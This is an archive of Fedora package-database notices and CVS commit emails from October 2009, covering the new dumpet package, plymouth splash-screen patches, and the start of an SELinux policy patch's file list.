kevin has added Package dumpet with summary DumpET is a utility to aid in the debugging of bootable CD-ROM
kevin has approved Package dumpet
kevin has added a Fedora devel branch for dumpet with an owner of pjones
kevin has approved dumpet in Fedora devel
kevin has approved Package dumpet
kevin has set commit to Approved for 107427 on dumpet (Fedora devel)
kevin has set checkout to Approved for 107427 on dumpet (Fedora devel)
kevin has set build to Approved for 107427 on dumpet (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dumpet



From pkgdb at fedoraproject.org  Mon Oct  5 20:38:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 20:38:22 +0000
Subject: [pkgdb] dumpet summary updated by kevin
Message-ID: <20091005203822.6AE7C10F89C@bastion2.fedora.phx.redhat.com>

kevin set package dumpet summary to DumpET is a utility to aid in the debugging of bootable CD-ROM

To make changes to this package see:
  /pkgdb/packages/name/dumpet



From pkgdb at fedoraproject.org  Mon Oct  5 20:38:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 20:38:22 +0000
Subject: [pkgdb] dumpet (Fedora, 12) updated by kevin
Message-ID: <20091005203822.7CB5710F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for dumpet
kevin has set commit to Approved for 107427 on dumpet (Fedora 12)
kevin has set checkout to Approved for 107427 on dumpet (Fedora 12)
kevin has set build to Approved for 107427 on dumpet (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dumpet



From kevin at fedoraproject.org  Mon Oct  5 20:38:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon,  5 Oct 2009 20:38:48 +0000 (UTC)
Subject: rpms/dumpet/devel - New directory
Message-ID: <20091005203848.016E911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dumpet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh24119/rpms/dumpet/devel

Log Message:
Directory /cvs/pkgs/rpms/dumpet/devel added to the repository




From kevin at fedoraproject.org  Mon Oct  5 20:38:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon,  5 Oct 2009 20:38:48 +0000 (UTC)
Subject: rpms/dumpet - New directory
Message-ID: <20091005203848.5E3FB11C00EB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dumpet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh24119/rpms/dumpet

Log Message:
Directory /cvs/pkgs/rpms/dumpet added to the repository




From kevin at fedoraproject.org  Mon Oct  5 20:39:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon,  5 Oct 2009 20:39:01 +0000 (UTC)
Subject: rpms/dumpet Makefile,NONE,1.1
Message-ID: <20091005203901.F2E0C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dumpet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh24119/rpms/dumpet

Added Files:
	Makefile 
Log Message:
Setup of module dumpet


--- NEW FILE Makefile ---
# Top level Makefile for module dumpet
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct  5 20:39:02 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon,  5 Oct 2009 20:39:02 +0000 (UTC)
Subject: rpms/dumpet/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091005203902.6D6C311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dumpet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh24119/rpms/dumpet/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module dumpet


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: dumpet
# $Id: Makefile,v 1.1 2009/10/05 20:39:02 kevin Exp $
NAME := dumpet
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pjones at fedoraproject.org  Mon Oct  5 20:41:34 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon,  5 Oct 2009 20:41:34 +0000 (UTC)
Subject: rpms/dumpet/F-12 dumpet.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091005204134.E331211C00DB@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/dumpet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25589

Modified Files:
	.cvsignore sources 
Added Files:
	dumpet.spec 
Log Message:
* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
- Update to dumpet-1.1, which treats CFLAGS reasonably.



--- NEW FILE dumpet.spec ---
Name:           dumpet
Version:        1.1
Release:        1%{?dist}
Summary:        A tool to dump and debug bootable CD images
License:        GPLv2+
Group:          Development/Tools
URL:            https://fedorahosted.org/dumpet/
Source0:        https://fedorahosted.org/releases/d/u/dumpet/dumpet-%{version}.tar.bz2
BuildRequires:	popt-devel

%description
DumpET is a utility to aid in the debugging of bootable CD-ROM images.

%prep
%setup -q

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}/%{_bindir}
make DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README TODO COPYING
%{_bindir}/dumpet

%changelog
* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
- Update to dumpet-1.1, which treats CFLAGS reasonably.

* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.0-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dumpet/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	5 Oct 2009 20:39:02 -0000	1.1
+++ .cvsignore	5 Oct 2009 20:41:34 -0000	1.2
@@ -0,0 +1,2 @@
+dumpet-1.1.tar.bz2
+clog


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dumpet/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	5 Oct 2009 20:39:02 -0000	1.1
+++ sources	5 Oct 2009 20:41:34 -0000	1.2
@@ -0,0 +1 @@
+3507a205a462c23af45def062b38e003  dumpet-1.1.tar.bz2



From pjones at fedoraproject.org  Mon Oct  5 20:42:20 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon,  5 Oct 2009 20:42:20 +0000 (UTC)
Subject: rpms/dumpet/devel dumpet.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091005204220.F40D911C00DB@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/dumpet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25952

Modified Files:
	.cvsignore sources 
Added Files:
	dumpet.spec 
Log Message:
* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
- Update to dumpet-1.1, which treats CFLAGS reasonably.



--- NEW FILE dumpet.spec ---
Name:           dumpet
Version:        1.1
Release:        1%{?dist}
Summary:        A tool to dump and debug bootable CD images
License:        GPLv2+
Group:          Development/Tools
URL:            https://fedorahosted.org/dumpet/
Source0:        https://fedorahosted.org/releases/d/u/dumpet/dumpet-%{version}.tar.bz2
BuildRequires:	popt-devel

%description
DumpET is a utility to aid in the debugging of bootable CD-ROM images.

%prep
%setup -q

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}/%{_bindir}
make DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README TODO COPYING
%{_bindir}/dumpet

%changelog
* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
- Update to dumpet-1.1, which treats CFLAGS reasonably.

* Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.0-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	5 Oct 2009 20:39:02 -0000	1.1
+++ .cvsignore	5 Oct 2009 20:42:20 -0000	1.2
@@ -0,0 +1,2 @@
+dumpet-1.1.tar.bz2
+clog


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	5 Oct 2009 20:39:02 -0000	1.1
+++ sources	5 Oct 2009 20:42:20 -0000	1.2
@@ -0,0 +1 @@
+3507a205a462c23af45def062b38e003  dumpet-1.1.tar.bz2



From rstrode at fedoraproject.org  Mon Oct  5 20:57:55 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon,  5 Oct 2009 20:57:55 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-2nd-show-splash.patch, NONE,
	1.1 plymouth.spec, 1.148, 1.149
Message-ID: <20091005205755.789A011C00DB@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32602

Modified Files:
	plymouth.spec 
Added Files:
	fix-2nd-show-splash.patch 
Log Message:
- Fix --show-splash after --hide-splash (bug 527299)


fix-2nd-show-splash.patch:
 main.c |   17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

--- NEW FILE fix-2nd-show-splash.patch ---
>From 2af482af166dbb18816b6f9fbee2b8ea6dc1a355 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Mon, 5 Oct 2009 16:51:40 -0400
Subject: [PATCH] [main] Properly reinitialize environment on show splash

Before we were tearing down the displays and keyboard on hide
splash but not bringing them back on subsequent show splashes.

This fixes that.  We can probably throw less stuff away on
hide splash, but this is a more conservative fix for now.
---
 src/main.c |   16 +++++++++++-----
 1 files changed, 11 insertions(+), 5 deletions(-)

diff --git a/src/main.c b/src/main.c
index 08ec1ae..e827da4 100644
--- a/src/main.c
+++ b/src/main.c
@@ -131,6 +131,8 @@ static void on_error_message (ply_buffer_t *debug_buffer,
                               size_t        number_of_bytes);
 static ply_buffer_t *debug_buffer;
 static char *debug_buffer_path = NULL;
+static void check_for_consoles (state_t    *state,
+                                const char *default_tty);
 
 static void
 on_session_output (state_t    *state,
@@ -560,6 +562,8 @@ on_show_splash (state_t *state)
       return;
     }
 
+  check_for_consoles (state, state->default_tty);
+
   has_display = ply_list_get_length (state->pixel_displays) > 0 ||
                 ply_list_get_length (state->text_displays) > 0;
 
@@ -597,9 +601,6 @@ quit_splash (state_t *state)
       state->boot_splash = NULL;
     }
 
-  ply_trace ("removing displays and keyboard");
-  remove_displays_and_keyboard (state);
-
   if (state->renderer != NULL)
     {
       ply_renderer_close (state->renderer);
@@ -607,6 +608,9 @@ quit_splash (state_t *state)
       state->renderer = NULL;
     }
 
+  ply_trace ("removing displays and keyboard");
+  remove_displays_and_keyboard (state);
+
   if (state->session != NULL)
     {
       ply_trace ("detaching session");
@@ -1265,9 +1269,11 @@ check_for_consoles (state_t    *state,
 
   ply_trace ("checking if splash screen should be disabled");
 
-  state->console = ply_console_new ();
+  if (state->console == NULL)
+    state->console = ply_console_new ();
 
-  if (!ply_console_open (state->console))
+  if (!ply_console_is_open (state->console) &&
+      !ply_console_open (state->console))
     {
       ply_trace ("could not open /dev/tty0");
       ply_console_free (state->console);
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- plymouth.spec	29 Sep 2009 17:40:25 -0000	1.148
+++ plymouth.spec	5 Oct 2009 20:57:55 -0000	1.149
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.1%{?dist}
+Release: 0.2009.29.09.2%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -451,6 +451,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Mon Oct  5 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.2
+- Fix --show-splash after --hide-splash (bug 527299)
+
 * Tue Sep 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.1
 - Fix escape and ask-for-password
 



From rstrode at fedoraproject.org  Mon Oct  5 21:08:34 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon,  5 Oct 2009 21:08:34 +0000 (UTC)
Subject: rpms/plymouth/devel plymouth.spec,1.147,1.148 sources,1.60,1.61
Message-ID: <20091005210834.A939311C00DB@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5151

Modified Files:
	plymouth.spec sources 
Log Message:
- Add new x11-renderer plugin from Charlie Brej for debugging



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/devel/plymouth.spec,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- plymouth.spec	29 Sep 2009 17:21:10 -0000	1.147
+++ plymouth.spec	5 Oct 2009 21:08:34 -0000	1.148
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09%{?dist}
+Release: 0.2009.10.05%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -349,7 +349,8 @@ fi
 %{_bindir}/rhgb-client
 %{_libdir}/plymouth/details.so
 %{_libdir}/plymouth/text.so
-%{_libdir}/plymouth/renderers
+%{_libdir}/plymouth/renderers/drm*
+%{_libdir}/plymouth/renderers/frame-buffer*
 %{_datadir}/plymouth/default-boot-duration
 %{_datadir}/plymouth/themes/details/details.plymouth
 %{_datadir}/plymouth/themes/text/text.plymouth
@@ -362,6 +363,7 @@ fi
 %{plymouth_libdir}/libply.so
 %{_libdir}/libplybootsplash.so
 %{_libdir}/pkgconfig/plymouth-1.pc
+%{_libdir}/plymouth/renderers/x11*
 %{_includedir}/plymouth-1
 
 %files libs
@@ -451,6 +453,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Tue Sep 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.10.05
+- Add new x11-renderer plugin from Charlie Brej for debugging
+
 * Tue Sep 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09
 - Fix escape and ask-for-password
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/devel/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	29 Sep 2009 17:21:11 -0000	1.60
+++ sources	5 Oct 2009 21:08:34 -0000	1.61
@@ -1 +1 @@
-4d1ba11f12f3ec0fa11cbacdd43400da  plymouth-0.8.0.tar.bz2
+af47cda4f51ac4016a5e439df552fd37  plymouth-0.8.0.tar.bz2



From dwalsh at fedoraproject.org  Mon Oct  5 21:16:37 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon,  5 Oct 2009 21:16:37 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.100,
	1.101 selinux-policy.spec, 1.937, 1.938
Message-ID: <20091005211637.5373B11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9179

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-21
- Allow dovecot_t getcap, setcap


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |    7 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.pp              |binary
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +-
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   29 
 policy/modules/apps/execmem.if            |   70 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  111 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   21 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  182 +++
 policy/modules/apps/sandbox.te            |  329 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |   59 +
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   33 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  401 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   18 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   14 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   34 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    5 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   63 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   40 
 policy/modules/services/rgmanager.te      |   54 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   17 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   80 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++-
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   31 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  204 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
